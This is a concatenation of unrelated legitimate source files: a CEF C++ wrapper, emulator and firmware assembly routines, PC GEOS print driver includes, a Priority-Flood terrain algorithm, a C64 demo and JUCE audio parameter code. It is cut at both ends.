// Translate param: point; type: simple_byref
CefPoint pointVal = point?*point:CefPoint();
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->ConvertPointFromWindow(
pointVal);
// Restore param: point; type: simple_byref
if (point)
*point = pointVal;
// Return type: bool
return _retval;
}
int CEF_CALLBACK button_convert_point_to_view(struct _cef_view_t* self,
struct _cef_view_t* view, cef_point_t* point) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Verify param: view; type: refptr_same
DCHECK(view);
if (!view)
return 0;
// Verify param: point; type: simple_byref
DCHECK(point);
if (!point)
return 0;
// Translate param: point; type: simple_byref
CefPoint pointVal = point?*point:CefPoint();
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->ConvertPointToView(
CefViewCppToC::Unwrap(view),
pointVal);
// Restore param: point; type: simple_byref
if (point)
*point = pointVal;
// Return type: bool
return _retval;
}
int CEF_CALLBACK button_convert_point_from_view(struct _cef_view_t* self,
struct _cef_view_t* view, cef_point_t* point) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Verify param: view; type: refptr_same
DCHECK(view);
if (!view)
return 0;
// Verify param: point; type: simple_byref
DCHECK(point);
if (!point)
return 0;
// Translate param: point; type: simple_byref
CefPoint pointVal = point?*point:CefPoint();
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->ConvertPointFromView(
CefViewCppToC::Unwrap(view),
pointVal);
// Restore param: point; type: simple_byref
if (point)
*point = pointVal;
// Return type: bool
return _retval;
}
} // namespace
// CONSTRUCTOR - Do not edit by hand.
CefButtonCppToC::CefButtonCppToC() {
GetStruct()->as_label_button = button_as_label_button;
GetStruct()->set_state = button_set_state;
GetStruct()->get_state = button_get_state;
GetStruct()->set_tooltip_text = button_set_tooltip_text;
GetStruct()->set_accessible_name = button_set_accessible_name;
GetStruct()->base.as_browser_view = button_as_browser_view;
GetStruct()->base.as_button = button_as_button;
GetStruct()->base.as_panel = button_as_panel;
GetStruct()->base.as_scroll_view = button_as_scroll_view;
GetStruct()->base.as_textfield = button_as_textfield;
GetStruct()->base.get_type_string = button_get_type_string;
GetStruct()->base.to_string = button_to_string;
GetStruct()->base.is_valid = button_is_valid;
GetStruct()->base.is_attached = button_is_attached;
GetStruct()->base.is_same = button_is_same;
GetStruct()->base.get_delegate = button_get_delegate;
GetStruct()->base.get_window = button_get_window;
GetStruct()->base.get_id = button_get_id;
GetStruct()->base.set_id = button_set_id;
GetStruct()->base.get_group_id = button_get_group_id;
GetStruct()->base.set_group_id = button_set_group_id;
GetStruct()->base.get_parent_view = button_get_parent_view;
GetStruct()->base.get_view_for_id = button_get_view_for_id;
GetStruct()->base.set_bounds = button_set_bounds;
GetStruct()->base.get_bounds = button_get_bounds;
GetStruct()->base.get_bounds_in_screen = button_get_bounds_in_screen;
GetStruct()->base.set_size = button_set_size;
GetStruct()->base.get_size = button_get_size;
GetStruct()->base.set_position = button_set_position;
GetStruct()->base.get_position = button_get_position;
GetStruct()->base.get_preferred_size = button_get_preferred_size;
GetStruct()->base.size_to_preferred_size = button_size_to_preferred_size;
GetStruct()->base.get_minimum_size = button_get_minimum_size;
GetStruct()->base.get_maximum_size = button_get_maximum_size;
GetStruct()->base.get_height_for_width = button_get_height_for_width;
GetStruct()->base.invalidate_layout = button_invalidate_layout;
GetStruct()->base.set_visible = button_set_visible;
GetStruct()->base.is_visible = button_is_visible;
GetStruct()->base.is_drawn = button_is_drawn;
GetStruct()->base.set_enabled = button_set_enabled;
GetStruct()->base.is_enabled = button_is_enabled;
GetStruct()->base.set_focusable = button_set_focusable;
GetStruct()->base.is_focusable = button_is_focusable;
GetStruct()->base.is_accessibility_focusable =
button_is_accessibility_focusable;
GetStruct()->base.request_focus = button_request_focus;
GetStruct()->base.set_background_color = button_set_background_color;
GetStruct()->base.get_background_color = button_get_background_color;
GetStruct()->base.convert_point_to_screen = button_convert_point_to_screen;
GetStruct()->base.convert_point_from_screen =
button_convert_point_from_screen;
GetStruct()->base.convert_point_to_window = button_convert_point_to_window;
GetStruct()->base.convert_point_from_window =
button_convert_point_from_window;
GetStruct()->base.convert_point_to_view = button_convert_point_to_view;
GetStruct()->base.convert_point_from_view = button_convert_point_from_view;
}
template<> CefRefPtr<CefButton> CefCppToCRefCounted<CefButtonCppToC, CefButton,
cef_button_t>::UnwrapDerived(CefWrapperType type, cef_button_t* s) {
if (type == WT_LABEL_BUTTON) {
return CefLabelButtonCppToC::Unwrap(reinterpret_cast<cef_label_button_t*>(
s));
}
if (type == WT_MENU_BUTTON) {
return CefMenuButtonCppToC::Unwrap(reinterpret_cast<cef_menu_button_t*>(s));
}
NOTREACHED() << "Unexpected class type: " << type;
return NULL;
}
#if DCHECK_IS_ON()
template<> base::AtomicRefCount CefCppToCRefCounted<CefButtonCppToC, CefButton,
cef_button_t>::DebugObjCt = 0;
#endif
template<> CefWrapperType CefCppToCRefCounted<CefButtonCppToC, CefButton,
cef_button_t>::kWrapperType = WT_BUTTON;
|
;; (c) Copyright Kevin Thacker 2015-2016
;; This code is part of the Arnold emulator distribution.
;; This code is free to distribute without modification
;; this copyright header must be retained.
org &8000
km_wait_char equ &bb06
txt_output equ &bb5a
scr_set_mode equ &bc0e
scr_initialise equ &bbff
pen_swap equ &54 xor &4B
;; set colour with bit 5 set
start:
ld a,2
call scr_set_mode
ld hl,message
call display_msg
call km_wait_char
call scr_initialise
ld a,0
call scr_set_mode
;; wait for pens to change colour
halt
halt
halt
halt
ld hl,pen_colour_msg
call display_msg
di
ld hl,&c9fb
ld (&0038),hl
ei
l1:
ld b,&f5
l2:
in a,(c)
rra
jr nc,l2
ld bc,&7f10
out (c),c
ld bc,&7f40
out (c),c
halt
halt
halt
ld e,64
ld d,0
ld b,&7f
ld c,3
ld h,&54
l3:
ld a,d ;; [1]
or %00010000 ;; [2]
out (c),a ;; [4] select border
out (c),h ;; [4] set colour
ld a,h ;; [1]
xor pen_swap ;; [2]
ld h,a ;; [1]
defs 128-3-1-1-1-2-1-4-4-2-1
inc d ;; [1]
dec e ;; [1]
jp nz,l3 ;; [3]
ld bc,&7f10
out (c),c
ld bc,&7f40
out (c),c
jp l1
display_msg:
ld a,(hl)
cp '$'
ret z
inc hl
call txt_output
jr display_msg
pen_colour_msg:
defb 31,1,5
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb 13,10
defb 14,0," "
defb 14,1," "
defb 14,2," "
defb 14,3," "
defb 14,4," "
defb 14,5," "
defb 14,6," "
defb 14,7," "
defb 14,8," "
defb 14,9," "
defb 14,10," "
defb 14,11," "
defb 14,12," "
defb 14,13," "
defb 14,14," "
defb 14,15," "
defb '$'
message:
defb "This is a visual test.",13,10,13,10
defb "This test checks the border is selected when bit 4 is set to 1 when the ",13,10
defb "Gate-Array 'pen' selection register is used. 'Palette pointer' register ",13,10
defb "bit 7=0, bit 6=0, port 7fxx",13,10,13,10
defb "Bits 5,3,2,1 and 0 are changed in this test but are ignored on real hardware.",13,10,13,10
defb "You should see:",13,10
defb "- Bars of colour which are are of the pens",13,10
defb "- Border changing between black and white",13,10
defb "- NO pens changing when the border is changed",13,10,13,10
defb "This test does the same on CPC and Plus.",13,10,13,10
defb "Press a key to start",'$'
end start |
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Module Name:
;
; WriteDr5.Asm
;
; Abstract:
;
; AsmWriteDr5 function
;
; Notes:
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; UINTN
; EFIAPI
; AsmWriteDr5 (
; IN UINTN Value
; );
;------------------------------------------------------------------------------
global ASM_PFX(AsmWriteDr5)
ASM_PFX(AsmWriteDr5):
mov eax, [esp + 4]
;
; DR5 is alias to DR7 only if DE (in CR4) is cleared. Otherwise, writing to
; this register will cause a #UD exception.
;
; MS assembler doesn't support this instruction since no one would use it
; under normal circustances. Here opcode is used.
;
DB 0xf, 0x23, 0xe8
ret
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: print drivers
FILE: printcomCountryDialog.asm
AUTHOR: Dave Durran
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 10/92 Initial revision
DESCRIPTION:
This file contains most of the code to implement the 0 - 2 bin ASF
+tractor and manual feed print driver UI support for countries
$Id: printcomCountryDialog.asm,v 1.1 97/04/18 11:51:09 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
include UI/uiGetNoMain.asm ;pass no tree for Main box
include UI/uiGetOptions.asm ;pass tree for Options box
include UI/uiEval.asm ;call the routine specified in device
;info resource.
include UI/uiEval012ASFCountry.asm ;paper input path and country code
;selecting routines.
|
/*************************************************************************************************
* Priority-Flood Algorithm No.2
*
* This code implements the priority-flood flood-fill Algorithm 2 described in article:
* Barnes, Lehman, Mulla. "Priority-Flood: An Optimal Depression-Filling and Watershed-Labeling
* Algorithm for Digital Elevation Models". Computers & Geosciences. Vol 62, Jan 2014, pp 117–127,
* doi: 10.1016/j.cageo.2013.04.024.
*
* By Eidon (eidon@tutanota.be), 2016-10-22.
*
* Version: 1.0, Sam Okt 22 21:07:24 CEST 2016
*
*************************************************************************************************/
#ifndef __GSFloodFill_CLASS__
#define __GSFloodFill_CLASS__
typedef bool Boolean;
using namespace std;
template <typename T>
class GSFloodFill {
public:
GSFloodFill(T** dem, int r, int c);
~GSFloodFill(void); // throw();
Boolean Transform(void);
typedef std::multimap<T, XY_t> PrioQ_t;
typedef typename PrioQ_t::iterator PrIterator_t;
int verbose;
void setVerbose(int v) { verbose = v; }
private:
T** dem;
Boolean **Closed;
int rows, cols;
// Let Open be a priority queue
PrioQ_t Open;
// Let Pit be a plain queue
Q_t Pit;
Boolean isWithin(XY_t xy);
Boolean PrioPopHighest(PrioQ_t& queue, XY_t& xy);
Boolean PrioPop(PrioQ_t& queue, XY_t& xy);
Boolean isClosed(XY_t xy);
Boolean neighborsOf(XY_t xy, vector<XY_t>& v);
XY_t miNeighbors(vector<XY_t> neighbors);
//template <typename T>
void printHelp(void);
};
template <typename T>
Boolean GSFloodFill<T>::PrioPopHighest(PrioQ_t& queue, XY_t& xy) {
if (queue.size() == 0) return false;
PrIterator_t it = queue.end();
it--;
xy = it->second;
queue.erase(it);
return true;
}
template <typename T>
Boolean GSFloodFill<T>::PrioPop(PrioQ_t& queue, XY_t& xy) {
if (queue.size() == 0) return false;
PrIterator_t it = queue.begin();
xy = it->second;
queue.erase(it);
return true;
}
template <typename T>
inline Boolean GSFloodFill<T>::isWithin(XY_t xy) {
if (xy.first < 0 || xy.first >= rows) return false;
if (xy.second < 0 || xy.second >= cols) return false;
return true;
}
template <typename T>
inline Boolean GSFloodFill<T>::isClosed(XY_t xy) {
return Closed[xy.first][xy.second];
}
template <typename T>
Boolean GSFloodFill<T>::neighborsOf(XY_t xy, vector<XY_t>& v) {
if (!isWithin(xy)) return false;
XY_t tXY;
v.clear();
// X 0 0
// X . 0
// X 0 0
// 0 0 X
// 0 . X
// 0 0 X
for (int i = -1; i<=1; i++) {
tXY.first = xy.first + i;
tXY.second = xy.second - 1;
if (isWithin(tXY)) {
v.push_back(tXY);
}
tXY.second = xy.second + 1;
if (isWithin(tXY)) {
v.push_back(tXY);
}
}
// 0 X 0
// 0 . 0
// 0 X 0
tXY.first = xy.first - 1;
tXY.second = xy.second;
if (isWithin(tXY)) {
v.push_back(tXY);
}
tXY.first = xy.first + 1;
if (isWithin(tXY)) {
v.push_back(tXY);
}
return true;
}
template <typename T>
XY_t GSFloodFill<T>::miNeighbors(vector<XY_t> neighbors) {
Real mindem = std::numeric_limits<T>::max();
XY_t minxy = pair<int,int>(-1,-1);
for (vector<XY_t>::iterator it = neighbors.begin(); it != neighbors.end(); it++) {
if (dem[it->first][it->second] < mindem) {
mindem = dem[it->first][it->second];
minxy = *it;
}
}
return minxy;
}
//
// Destructor
//
template <typename T>
GSFloodFill<T>::~GSFloodFill() {
try {
for (int i=0; i<rows; i++)
delete Closed[i];
delete Closed;
Open.clear();
//Pit.clear();
} catch (std::exception& e) {
std::cerr << "Exception caught in the destructor of a GSFloodFill object: "
<< e.what() << std::endl;
}
}
//
// Constructor
//
template <typename T>
GSFloodFill<T>::GSFloodFill(T** dempar, int r, int c) {
rows = r, cols = c;
dem = dempar;
verbose = 0;
}
//
// Main function (Flood-fill transform)
//
template <typename T>
Boolean GSFloodFill<T>::Transform() {
int i, j;
XY_t xy, c;
PrIterator_t it;
vector<XY_t> neighbors;
///////////////
// Algorithm 2 //
///////////////
// Let Closed have the same dimensions as DEM
// Let Closed be initialized to false
Closed = new Boolean* [rows];
for (i=0; i<rows; i++) {
Closed[i] = new Boolean [cols];
for (j=0; j<cols; j++) {
Closed[i][j] = false;
}
}
if (rows == 1) { // monodimensional case
xy = pair<int,int>(0, 0);
Open.insert(pair<T,XY_t>(dem[0][0], xy));
Closed[0][0] = true;
xy = pair<int,int>(0, cols-1);
Open.insert(pair<T,XY_t>(dem[0][cols-1], xy));
Closed[0][cols-1] = true;
} else { // bidimensional case
// for all edges of DEM do
for (j=0; j<cols; j++) {
xy = pair<int,int>(0, j);
Open.insert(pair<T,XY_t>(dem[0][j], xy));
Closed[0][j] = true;
xy = pair<int,int>(rows-1, j);
Open.insert(pair<T,XY_t>(dem[rows-1][j], xy));
Closed[rows-1][j] = true;
}
for (i=1; i<rows-1; i++) {
xy = pair<int,int>(i, 0);
Open.insert(pair<T,XY_t>(dem[i][0], xy));
Closed[i][0] = true;
xy = pair<int,int>(i,cols-1);
Open.insert(pair<T,XY_t>(dem[i][cols-1], xy));
Closed[i][cols-1] = true;
}
}
if (verbose) {
std::cout << "Number of edges: " << Open.size() << std::endl;
for (it=Open.begin(), i=1; it != Open.end(); it++, i++)
std::cout << "Edge " << i << ": (" << it->first << ") => (" << it->second.first
<< ", " << it->second.second << ")\n";
}
// while either Open or Pit is not empty do
while ( ! Open.empty() || ! Pit.empty() ) {
if ( ! Pit.empty() ) {
c=Pit.front();
Pit.pop();
} else {
PrioPop(Open,c);
}
// An edge was found on either Open or Pit
if (verbose)
std::cerr << "Processing cell (" << c.first << ',' << c.second << "), elevation= " << (Real) dem[c.first][c.second] << std::endl;
if (! isWithin(c)) {
if (verbose)
std::cerr << "\tIgnoring the cell, as it is not within the DEM." << std::endl;
continue;
}
// The edge is within the DEM
if (verbose)
std::cerr << "\tCell is within the DEM." << std::endl;
// neighbors lists the neighbors of c
if (! neighborsOf(c, neighbors)) {
if (verbose)
std::cerr << "\tCell has no neighbors." << std::endl;
continue;
}
// Here, neighbors contains the neighbors of c
if (verbose)
std::cerr << "\tCell has " << neighbors.size() << " neighbors." << std::endl;
// miNeighbor is the coordinates of the cell with minimal elevation
XY_t miNeighbor = miNeighbors(neighbors);
if (verbose)
std::cerr << "\tNeighbor with minimal elevation is (" << miNeighbor.first << ',' << miNeighbor.second
<< "), whose elevation is " << dem[miNeighbor.first][miNeighbor.second] << "." << std::endl;
if (verbose)
std::cerr << "\tFor all neighbors, do:" << std::endl;
for (vector<XY_t>::iterator nit = neighbors.begin(); nit != neighbors.end(); nit++) {
XY_t n = *nit;
if (isClosed(n)) {
if (verbose)
std::cerr << "\t\tNeighbor (" << n.first << ',' << n.second << ") has been already "
<< "encountered -- ignoring it." << std::endl;
continue;
}
if (verbose) {
std::cerr << "\t\tProcessing neighbor (" << n.first << ',' << n.second << "):" << std::endl;
std::cerr << "\t\t\tCalculating max(current neighbor, popped cell), i.e. max(dem["
<< n.first << "][" << n.second << "], dem[" << c.first << "][" << c.second << "]) = "
<< "max(" << dem[n.first][n.second] << ", " << dem[c.first][c.second] << ") = "
<< std::max(dem[n.first][n.second], dem[c.first][c.second]) << std::endl;
std::cerr << "\t\t\tElevating cell (" << n.first << ',' << n.second << ") from " << dem[n.first][n.second]
<< " to " << std::max(dem[n.first][n.second], dem[c.first][c.second]) << std::endl;
}
Closed[n.first][n.second] = true;
if (dem[n.first][n.second] <= dem[c.first][c.second]) {
dem[n.first][n.second] = dem[c.first][c.second];
if (verbose)
std::cerr << "\t\t\tPush cell (" << n.first << ',' << n.second << ") onto queue Pit" << std::endl;
Pit.push(n);
} else {
if (verbose)
std::cerr << "\t\t\tPush cell (" << n.first << ',' << n.second << ") onto stack Open with priority "
<< dem[n.first][n.second] << std::endl;
// Push n onto Open with priority DEM(n)
Open.insert(pair<Real,XY_t>(dem[nit->first][nit->second], *nit));
}
}
}
return true;
}
#endif
|
// Commodore 64 PRG executable file
.file [name="bitwise-not.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.segment Code
main: {
.label SCREEN = $400
// *SCREEN = ~1ub
lda #1^$ff
sta SCREEN
ldx #1
__b1:
// ~c
txa
eor #$ff
// SCREEN[c] = ~c
sta SCREEN,x
// for(byte c : 1..26)
inx
cpx #$1b
bne __b1
// }
rts
}
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1993 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Dumb ASCII (Unformatted) Print Driver
FILE: dumbText.asm
AUTHOR: Dave Durran
ROUTINES:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 8/30/93 Initial Revision
DESCRIPTION:
This file contains most of the code to implement common dumb ASCII
print driver ascii text support
$Id: dumbText.asm,v 1.1 97/04/18 11:56:44 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
include Text/textPrintStyleRunAddX.asm
include Text/textPrintText.asm
include Text/textPrintRaw.asm
include Text/textSetFont.asm
include Text/textGetLineSpacing.asm
include Text/textSetLineSpacing.asm
include Text/textSetSymbolSet.asm
include Text/textLoadNoISOSymbolSet.asm
include Text/Font/fontDumbInfo.asm
|
;++
;
; Copyright (c) Petr Benes. All rights reserved.
;
; Module:
;
; context.asm
;
; Abstract:
;
; This module implements AMD64-specific code to capture and restore
; the context of the caller.
;
; Author:
;
; Petr Benes (@PetrBenes) 26-Jul-2018 - Initial version
;
; Environment:
;
; Kernel mode only.
;
;--
INCLUDE ksamd64.inc
INCLUDE ia32/common.inc
.CODE
;++
;
; public:
; int __cdecl
; ia32::context_t::capture(void)
;
; Routine description:
;
; This method captures the context of the caller.
;
; Return Value:
;
; 0 if caller captured the context, RAX otherwise.
;
;--
?capture@context_t@ia32@@QEAAHXZ PROC
pushfq
mov context_t.$rax[rcx], rax
mov context_t.$rcx[rcx], rcx
mov context_t.$rdx[rcx], rdx
mov context_t.$rbx[rcx], rbx
mov context_t.$rbp[rcx], rbp
mov context_t.$rsi[rcx], rsi
mov context_t.$rdi[rcx], rdi
mov context_t.$r8 [rcx], r8
mov context_t.$r9 [rcx], r9
mov context_t.$r10[rcx], r10
mov context_t.$r11[rcx], r11
mov context_t.$r12[rcx], r12
mov context_t.$r13[rcx], r13
mov context_t.$r14[rcx], r14
mov context_t.$r15[rcx], r15
;
; RSP, RIP and RFLAGS are captured here.
;
lea rax, qword ptr [rsp + 16]
mov context_t.$rsp[rcx], rax
mov rax, qword ptr [rsp + 8]
mov context_t.$rip[rcx], rax
mov rax, qword ptr [rsp + 0]
mov context_t.$rflags[rcx], rax
xor rax, rax
add rsp, 8
ret
?capture@context_t@ia32@@QEAAHXZ ENDP
;++
;
; public:
; void __cdecl
; ia32::context_t::restore(void)
;
; Routine description:
;
; This method restores the context of the caller to the specified
; context.
;
; Return Value:
;
; None - there is no return from this method.
;
;--
?restore@context_t@ia32@@QEAAXXZ PROC
;
; We use shadow space of the caller + additional 8 bytes
; for the IRETQ context. Note that we can use the callers
; shadow space without any worries, because this function
; never returns to the caller.
;
sub rsp, 8
;
; Build iretq context (SS, RSP, RFLAGS, CS, RIP).
;
mov word ptr [rsp + 4 * 8], ss
mov rax, context_t.$rsp[rcx]
mov qword ptr [rsp + 3 * 8], rax
mov rax, context_t.$rflags[rcx]
mov qword ptr [rsp + 2 * 8], rax
mov word ptr [rsp + 1 * 8], cs
mov rax, context_t.$rip[rcx]
mov qword ptr [rsp + 0 * 8], rax
mov rax, context_t.$rax[rcx]
mov rdx, context_t.$rdx[rcx]
mov rbx, context_t.$rbx[rcx]
mov rbp, context_t.$rbp[rcx]
mov rsi, context_t.$rsi[rcx]
mov rdi, context_t.$rdi[rcx]
mov r8 , context_t.$r8 [rcx]
mov r9 , context_t.$r9 [rcx]
mov r10, context_t.$r10[rcx]
mov r11, context_t.$r11[rcx]
mov r12, context_t.$r12[rcx]
mov r13, context_t.$r13[rcx]
mov r14, context_t.$r14[rcx]
mov r15, context_t.$r15[rcx]
;
; Restore RCX at the end.
;
mov rcx, context_t.$rcx[rcx]
iretq
?restore@context_t@ia32@@QEAAXXZ ENDP
END
|
/*
==============================================================================
This file is part of the JUCE library.
Copyright (c) 2017 - ROLI Ltd.
JUCE is an open source library subject to commercial or open-source
licensing.
By using JUCE, you agree to the terms of both the JUCE 5 End-User License
Agreement and JUCE 5 Privacy Policy (both updated and effective as of the
27th April 2017).
End User License Agreement: www.juce.com/juce-5-licence
Privacy Policy: www.juce.com/juce-5-privacy-policy
Or: You may also use this code under the terms of the GPL v3 (see
www.gnu.org/licenses).
JUCE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY, AND ALL WARRANTIES, WHETHER
EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR PURPOSE, ARE
DISCLAIMED.
==============================================================================
*/
namespace juce
{
struct AudioProcessorValueTreeState::Parameter : public AudioProcessorParameterWithID,
private ValueTree::Listener
{
Parameter (AudioProcessorValueTreeState& s,
const String& parameterID, const String& paramName, const String& labelText,
NormalisableRange<float> r, float defaultVal,
std::function<String (float)> valueToText,
std::function<float (const String&)> textToValue,
bool meta,
bool automatable,
bool discrete,
AudioProcessorParameter::Category paramCategory,
bool boolean)
: AudioProcessorParameterWithID (parameterID, paramName, labelText, paramCategory),
owner (s), valueToTextFunction (valueToText), textToValueFunction (textToValue),
range (r), value (defaultVal), defaultValue (defaultVal),
listenersNeedCalling (true),
isMetaParam (meta),
isAutomatableParam (automatable),
isDiscreteParam (discrete),
isBooleanParam (boolean)
{
value = defaultValue;
state.addListener (this);
}
~Parameter()
{
// should have detached all callbacks before destroying the parameters!
jassert (listeners.size() <= 1);
}
float getValue() const override { return range.convertTo0to1 (value); }
float getDefaultValue() const override { return range.convertTo0to1 (defaultValue); }
float getValueForText (const String& text) const override
{
return range.convertTo0to1 (textToValueFunction != nullptr ? textToValueFunction (text)
: text.getFloatValue());
}
String getText (float normalisedValue, int /*length*/) const override
{
auto v = range.convertFrom0to1 (normalisedValue);
return valueToTextFunction != nullptr ? valueToTextFunction (v)
: String (value, 2);
}
int getNumSteps() const override
{
if (range.interval > 0)
return (static_cast<int> ((range.end - range.start) / range.interval) + 1);
return AudioProcessor::getDefaultNumParameterSteps();
}
void setValue (float newValue) override
{
newValue = range.snapToLegalValue (range.convertFrom0to1 (newValue));
if (value != newValue || listenersNeedCalling)
{
value = newValue;
listeners.call ([=] (AudioProcessorValueTreeState::Listener& l) { l.parameterChanged (paramID, value); });
listenersNeedCalling = false;
needsUpdate = true;
}
}
void setNewState (const ValueTree& v)
{
state = v;
updateFromValueTree();
}
void setUnnormalisedValue (float newUnnormalisedValue)
{
if (value != newUnnormalisedValue)
{
const float newValue = range.convertTo0to1 (newUnnormalisedValue);
setValueNotifyingHost (newValue);
}
}
void updateFromValueTree()
{
setUnnormalisedValue (state.getProperty (owner.valuePropertyID, defaultValue));
}
void copyValueToValueTree()
{
if (auto* valueProperty = state.getPropertyPointer (owner.valuePropertyID))
{
if ((float) *valueProperty != value)
{
ScopedValueSetter<bool> svs (ignoreParameterChangedCallbacks, true);
state.setProperty (owner.valuePropertyID, value, owner.undoManager);
}
}
else
{
state.setProperty (owner.valuePropertyID, value, nullptr);
}
}
void valueTreePropertyChanged (ValueTree&, const Identifier& property) override
{
if (ignoreParameterChangedCallbacks)
return;
if (property == owner.valuePropertyID)
updateFromValueTree();
}
void valueTreeChildAdded (ValueTree&, ValueTree&) override {}
void valueTreeChildRemoved (ValueTree&, ValueTree&, int) override {}
void valueTreeChildOrderChanged (ValueTree&, int, int) override {}
